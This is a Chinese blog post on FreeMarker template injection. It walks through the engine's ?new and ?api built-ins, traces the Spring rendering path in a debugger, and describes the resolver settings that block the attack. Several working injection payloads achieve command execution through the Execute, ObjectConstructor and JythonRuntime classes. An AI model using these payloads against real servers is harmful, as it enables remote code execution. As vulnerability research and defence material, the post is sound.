FreeMarker模版注入
好久没更了o(╥﹏╥)o考试,去武汉打了比赛了一趟,辣的热干面不错,纯麻酱我是真吃不了.也有去跟小东西爆金币去了。
什么是FreeMaerker
什么是 FreeMarker? - FreeMarker 中文官方参考手册 (foofun.cn)
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。
总的来说,模板和数据模型是FreeMarker来生成输出(比如第一个展示的HTML)所必须的:
模板 + 数据模型 = 输出
文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出
插值:语法为 ${}
, 这部分的输出会被模板引擎计算的值来替换。
指令标签:<# >
或者 <@ >
。如果指令为系统内建指令,如assign时,用<# >
。如果指令为用户指令,则用<@ >
。利用中最常见的指令标签为<#assign>
,该指令可创建变量。
注释:由 <#--
和-->
表示,注释部分的内容会 FreeMarker 忽略
环境搭建
[https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Java%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/CodeReview/JavaSec-Code/SSTI/](https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Java 代码审计/CodeReview/JavaSec-Code/SSTI/)
内置函数
FreeMarker 提供了大量的内建函数,用于拓展模板语言的功能,大大增强了模板语言的可操作性。具体用法为variable_name?method_name
。
new
可创建任意实现了TemplateModel
接口的Java对象,同时还可以触发没有实现 TemplateModel
接口的类的静态初始化块。
以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel
接口的freemarker.template.utility.JythonRuntime
和freemarker.template.utility.Execute
。
api
如果value本身支持这个额外的特性, value?api
提供访问 value
的API (通常是 Java API),比如 value?api.someJavaMethod()
, 当需要调用对象的Java方法时,这种方式很少使用, 但是 FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。 例如,当有一个 Map
,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod()
基本上翻译成Java的 ((Method) myMap.get("myMethod")).invoke(...)
,因此不能调用 myMethod
。如果编写了 myMap?api.myMethod()
来代替,那么就是Java中的 myMap.myMethod()
。
当api_builtin_enabled
为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
poc1:
1 | 访问类路径中的资源 |
poc2:
1 | 读取系统任意文件 |
poc3:
1 | 任意代码执行 |
1 | <#assign classLoader=object?api.class.protectionDomain.classLoader> |
poc4:
1 | <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()} |
poc5:
1 | <#assign value="freemarker.template.utility.JythonRuntime"?new()>< >import os;os.system("calc.exe") |
1 | <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") } |
漏洞分析
先看看hello.ftl访问hello路由,
在org.springframework.web.servlet.view.UrlBasedViewResolver#createView
打断点
1 | if (!this.canHandle(viewName, locale)) { |
先判断当前当前处理器能解析我们特定的路由,viewname是我们想要访问的路由,由于不满足下方的两个条件,调用父类的createView方法
最后就会调用到
1 | return super.createView(viewName, locale); |
继续跟进发现会调用buildView方法
继续到AbstractTemplateView view = (AbstractTemplateView)super.buildView(viewName);
在getviewclass中会获取到FreeMarkerView类,然后利用instantiateClass方法对其进行初始化,紧接着设置相应的模板文件名称属性,并将其加入到map中,随后返回该View类,回到loadView方法,调用了checkResource方法
FreeMarkerView这个翻之前调用栈发现之前方法哪里会遍历所有viewResolves,再往下调去去创造视图的
然后跟到view.checkResource,里面有一个getTemplate方法,跟进
跟进到cache.getTemplate方法
1 | final MaybeMissingTemplate maybeTemp = cache.getTemplate(name, locale, customLookupCondition, encoding, parseAsFTL); |
而且putTemplate
设置模板的时候,也会将至存储到cache中。这里就不分析了
首先进行了一些参数的检查,templateNameFormat.normalizeRootBasedName获取文件的相对路径,跟进getTemplateInternal方法
前面是一些基本属性的判断,步入到lookupTemplate方法,跟到下图为止
1 | newLookupResult = lookupTemplate(name, locale, customLookupCondition); |
1 | lookupWithAcquisitionStrategy(path); |
代码会先拼接_zh_CN
,再寻找未拼接_zh_CN
的模板名,调用this.findTemplateSource(path)
获取模板实例。
这里并没有所以没有找到,经过截取字符串后,在进入循环就获取到了handle执行返回的模板视图实例。
org.springframework.web.servlet.DispatcherServlet#doDispatch
流程
handle 执行完成后调用this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);
进行模板解析。调用view.render(mv.getModelInternal(), request, response);
->
1 | protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException { |
->
1 | public void process(Object dataModel, Writer out) |
->
1 | visit(getTemplate().getRootTreeNode()); |
1 | void visit(TemplateElement element) throws IOException, TemplateException { |
首先将这个element也就是模板文件内容压入一个堆栈,而后按${}对内容进行分割
当循环到第6个属性,也就是Excute类的时候,递归调用visit方法,往后面走,
跟进rosolve,发现是通过ClassUtil.forName(className);来反射创建对象
然后来看看为什么${value(“calc”)}为什么传入的是exec()方法了,中间就没写了,调试到Exprssion类的eval方法
继续跟进,发现是targetMethod是我们的value的对象也就是Execute,这里会调用它的exec方法
而exec方法,这里就能命令执行了
防御措施
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置TemplateClassResolver
,从而限制通过new()
函数对freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类的解析。
漏洞修复
也就是safe里面了
1 | package com.drunkbaby.ssti.controller; |
参考链接
https://www.cnblogs.com/nice0e3/p/16217471.html
Java安全之freemarker 模板注入 - nice_0e3 - 博客园 (cnblogs.com)
Freemarker模板注入 Bypass - 先知社区 (aliyun.com)
FreeMarker模板注入 | ycx’s blog (ilikeoyt.github.io)o(╥﹏╥)o tql我的哥